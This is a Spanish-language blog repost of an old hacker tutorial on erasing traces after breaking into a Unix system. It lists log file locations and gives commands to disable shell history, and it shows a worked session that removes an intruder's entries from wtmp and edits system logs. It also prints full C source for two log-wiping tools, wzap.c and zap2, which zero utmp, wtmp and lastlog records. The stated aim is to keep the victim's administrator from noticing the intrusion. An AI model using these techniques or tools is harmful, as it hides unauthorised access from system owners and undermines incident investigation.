Inicio > Hacking, Linux, Unix > Borrando tus Huellas en un Sistema Unix

Borrando tus Huellas en un Sistema Unix

Creado por oJ3Nok

01/01/03  —— www. ic3t3am.tk ——

Contenidos del Articulo

1 – Introducción / Que necesito

2 – Logs /  Descripción / Ubicación

3 – TCP-Wrapper

4 – Comandos Importantes y su Fin

5 – Programas

6 – Manos a la Obra

7 – Fuentes de Programas

1 –  Introducción
————

¿ Por que debería borrar mis huellas ?

Esta es la respuesta más fácil … Para que al administrador victima del ataque tenga trabajar más para poder desenmascararte, y en la mejor de las situaciones no se entere que estuvimos por ahi

¿ Que necesito saber o tener para seguir leyendo ?

– Un sistema UNIX, de preferencia Linux .

– Conocimientos de intruciones y conseguir acceso root.

– Conocimientos acerca de los comandos básicos en Unix- Saber de ética Hacker

– Manejar Editores de texto como vi, emacs o pico.

2 – Logs
—-

¿ que son estos ?

Estos son presisamente los archivos que se encargan de registrar todo lo que hacemos dentro de una maquina ( la compu ), ya sea el usuario de menor  rango hasta el root.

¿ donde estan los logs ?

Cada programa, generalmente, utiliza al demonio syslogd para generar el registro de que es lo que se hizo .. y se guardan ( creo que asi lo definiré ) en el archivo /etc/syslog.conf

Veamos como sera la visualización de este archivo :

[oJ3Nok@ic3 Log]$ cat /etc/syslog.conf

# Log all kernel messages to the console.
# Logging much else clutters up the screen.
#kern.* /dev/console

# Log anything (except mail) of level info or higher.
# Don’t log private authentication messages!
*.info;mail.none;authpriv.none;cron.none /var/log/messages

# The authpriv file has restricted access.
authpriv.* /var/log/secure

# Log all the mail messages in one place.
mail.* /var/log/maillog

# Log cron stuff
cron.* /var/log/cron

# Everybody gets emergency messages
*.emerg *

# Save news errors of level crit and higher in a special file.
uucp,news.crit /var/log/spooler

# Save boot messages also to boot.log
local7.* /var/log/boot.log

[oJ3Nok@ic3b0X Log]$

Aqui Podemos ver Siete Lugares en los cuales se encuentran Logs .

/dev/console –> Sin importancia

/var/log/messages :

Contiene un tipo de información miscelanea , según se le haya asignado
en /etc/syslog.conf

/var/log/secure
:

Aqui se almacenan todos los eventos de seguridad,  conexiones realizadas al equipo, cambios de usuario (su, etc….). Buscar conexiones a servicios poco frecuentes, direcciones IP de conexión poco frecuentes y todo lo que se sale de lo habitual.

/var/log/maillog

/var/log/spooler

/var/log/boot.log

Otro que no está en ( mi ) syslog.conf IMPORTANTE :

xferlog

Empleado por algunos servidores de ftp para registrar las transferencias de ficheros ficheros del servidor WWW: En los casos en los que el atacante ha realizado primero un escaneo de vulnerabilidades en el servidor WWW aparecen intentos de conexión a cgi que no están instalados.

wtmp y wtmpx :

Información sobre los accesos con éxito al equipo, usuario que se conecta, protocolo que emplea, maquina origen de la conexión, etc. Aqui se encuentra la información sobre los accesos con exito al equipo, esto registra el usuario que se ha conectado, la maquina de origen ( aunque no sea la de nosotros no debemos dejarlo pasar ) , etc …

Si quieres verlo puedes hacerlo asi :

[oJ3Nok@ic3b0X Log]$ who /var/log/wtmp
[oJ3Nok@ic3b0X Log]$ who ./wtmp

–> wtmp : Este, guarda las IPs con las que se ha accedido, es importante dejarlo limpio, lo podrás encontrar en /var/log/wtmp o /var/adm/wtmp

Más adelante del artículo, daré algunos programas que se encargaran de hacer el trabajo por nosotros ( para ficheros binarios ) . Su forma de utilización y fuentes de estos .

utmp y utmpx :
————

Información sobre los usuarios que están conectados en un momento dado en un equipo, es un fichero binario, aunque se puede emplear el comando who para analizarlos.

–> utmp : Aqui, se guardan todos los accesos al sistema, por los usuarios y
se encuentra en /etc/utmp o en /var/adm/utmp

Lastlog :
——-

Este fichero guarda la hora de el último acceso del usuario y se encuentra
ubicado en /var/adm/lastlog

Acct  :
—-

Aqui se registran los comandos usados por los usuarios, se encuentra
ubicado en /var/adm/acct

El fichero ~/.bash_history :
————————–

Registra todo lo que haces .. ( luego entramos en detalles ).

—————————————————————————–
| Como se pueden dar cuenta casi todos los registros se encuentran en /var/log|
| pero también en algunos sistemas estan en /var/adm |
—————————————————————————–

Consejo :

En este mismo momento revisen el Directorio /var/log o /var/adm , para que se vayan dando cuenta de los ficheros que se encuentran ahí .. revisen los ficheros que ahí aparecen.

3 – TCP-Wrapper
———–

El TCP-WRAPPER es una herramienta parecida al Syslog, pero vinculada a servicios exclusivos del internet daemon (ftp, telnet, mail…). Además de registrar toda actividad referente a la autentificación de cualquiera de estos servicios es capaz de filtrarlos, restringiéndolos de manera que sólo ciertos usuarios puedan conectarse, por ejemplo a través de un firewall.

Para borrar nuestras huellas del TCP-WRAPPER tenemos que seguir el mismo proceso que con el Syslog (buscar el fichero de configuración, modificar los ficheros vinculados…).

4 – Comandos Importantes y su fin
—————————–

” unset ”
———

Este comando se utiliza de la siguiente manera y sirve para detener el registro del  historial del shell :

[victima@localhost home]# unset HISTFILE; unset SAVEHIST
[victima@localhost home]#

” ln -s /dev/null ~/.bash_history ”
——————————–

Este comando se utiliza para enlazar ~/.bash_history a /dev/null , con lo que se evitaran tener que editar el ~/.bash_history . Luego de enlazarlo , recuerden borrar el ~/.bash_history

[victima@localhost home]# ln -s /dev/null ~/.bash_history
[victima@localhost home]# ls -l .bash_history
1rwxrwxrwx 1 root root 22 Jul 26 22:59 .bash_history ---> /dev/null

” touch ”
—–

Este comando es utilizado para reestablecer la fecha y la hora del último acceso a un archivo

5 – Programas
———

wzap : Zapper, que se encarga de borrar a un usuario especifico dentro del registro wtmp.

zap2 : Zapper, por exelencia, borra el wtmp, utmp y el lastlog .. Cuando copies la fuente, fijate el sistema que quieres atacar, pues recuerda que los logs, se encuentran en diferentes directorios ..

un ejemplo de la linea de código a modificar :

#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

6 – Manos a la Obra
—————

Ahora asumiremos que ya estamos en la maquina ¿? que hago ahora .. pues aplicar todo lo que leiste … veamos

Lo Primero es visualizar el archivo :

[victima@localhost log]# cat /etc/syslog.conf

Y determinar en que Directorios se encuentran los Logs ..

Nota :

La fuente de los programas mencionados,se encuentra más adelante, en la seccion ” fuentes ” .

[victima@localhost log]# who ./wtmp  ( estamos en /var/log )
axe      ftpd17264 Dec  31 12:53 ( 172.32.67.2 )
root     tty1      Jan  1  13:4
root     tty1      Jan  1  13:466
root     tty1      Jan  1  13:47
root     tty1      Jan  1  13:48
root     tty1      Jan  1  13:49
root     tty1      Jan  1  13:50
axe      ftp841    Jan  1  12:53 ( 172.32.67.3 )
axe      ftpd3137  Jan  1  12:53 ( 172.32.67.3 )
axe      ftpd83    Jan  1  12:53 ( 172.32.67.3 )

[victima@localhost log]# gcc wzap.c -o wzap

[victima@localhost log]# ./wzap
Enter username to zap from the wtmp : axe        //  le decimos que borre las entradas
opening file…                                      del usuraio ” axe ”
opening output file…
working…

[victima@localhost log]# who ./wtmp.out         // La entrada de ” axe ” no está en el
root     tty1      Jan  1  13:4                   archivo wtmp.out
root     tty1      Jan  1  13:466
root     tty1      Jan  1  13:47
root     tty1      Jan  1  13:48
root     tty1      Jan  1  13:49
root     tty1      Jan  1  13:50

[victima@localhost log]# cp wtmp.out wtmp
cp: overwrite `wtmp’? y
[root@localhost log]#                             // Borramos nuestra entrada al Sistema🙂

Ahora con los editores ( pico, vi o emacs ), debemos ” editar ” el contenido de :

[victima@localhost log]# pico /var/log/messages

Aqui te aparecerán entradas y salidas de usuarios .. deberías borrar una o dos ..
( dependiendo de lo que te salga ) :

ene  1 14:00:07 localhost su(pam_unix)[9414]: session opened for user root by axe(uid=501)

En este caso solo debemos borrarla y guardar el archivo …

[root@localhost log]# pico /var/log/secure

Y si entraste por ftp debes editar también el contendi de xferlog

etc .. etc ..

Los más importantes que deberías haber editar son :

– wtmp –> se borra la entrada de un usuario con ” wzap ”
– messages –> se edita con algún editor
– secure –> se edita con algún editor
– xferlog –> se edita con algún editor / entradas por ftp

Ahora debemos eliminar todo lo que presionamos …

estos los puedes editar con un :

[root@localhost log]# pico ~/.bash_history

El inconveniente de esto, es que quedará registrada nuestra salida ..😦

Pero no te preocupes … hay otras maneras de  hacerlo :

[root@localhost log]# unset HISTFILE; unset SAVEHIST     // Desactivar Historial

——————–

[root@localhost log]# ln -s /dev/null ~/.bash_history   // Lo vinculamos a /dev/null

Cosa que no queden registros de nada —

Ahora recuerda borrar el ~/.bash_history

Con esto deberían quedar los registros más frecuentes, limpios — pero siempre recuerda que ningún sistema esta configurado igual … perfectamenete , puede tener el TCP-Wrapper , por lo que nos demoraremos un poco más en borrar nuestras huellas …

Otra cosa importante es que no empieces a hacer estupideces en el sistema victima, me refiero a borrar y modificar archivos que no sean de logs ni alguno que nos sirva de entrada en una proxima ocación.

7 – Fuentes de Zappers ..
——————

| wzap.c |


/*  Dave's neato wtmp program
*      wzap.c
*      NOTE:   reads 'wtmp' from current directory and writes
*                      'wtmp.out' in cuurent directory...
*/

#include        <utmp.h>
#include        <stdio.h>
#include        <time.h>
#include        <sys/time.h>

FILE *Wfile, *Wout;

struct utmp myutmp;

main(argc,argv)
int argc;
char *argv[];
{
char username[20];
char yesorno[5];
long thetime, posi;

if (argc<2) {
printf(“\n\n”);
printf(“Enter username to zap from the wtmp: “);
scanf(“%s”,username);
} else strcpy(username,argv[1]);

printf(“\nopening file…\n”);
if ((Wfile = fopen(“wtmp”,”r”))==NULL)
{ printf(“no open file\n”); exit(0); }
printf(“\opening output file…\n”);
if ((Wout = fopen(“wtmp.out”,”wr”))==NULL)
{ printf(“no open output file…\n”); exit(0); }

printf(“working…\n”);
while(!feof(Wfile)) {
fread(&myutmp,sizeof(myutmp),1,Wfile);
if (strncmp(myutmp.ut_name,username,8))
fwrite(&myutmp,sizeof(myutmp),1,Wout);
}
fclose(Wfile);
fclose(Wout);
}

|  Zap2 – z2 .c  |


#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf(“%s: ?\n”,who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf(“Zap2!\n”);
} else
printf(“Error.\n”);
}

| oJ3Nok |  http://www.ic3t3am.tk

Categorías:Hacking, Linux, Unix Etiquetas: , ,
  1. Aún no hay comentarios.
  1. No trackbacks yet.

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

A %d blogueros les gusta esto: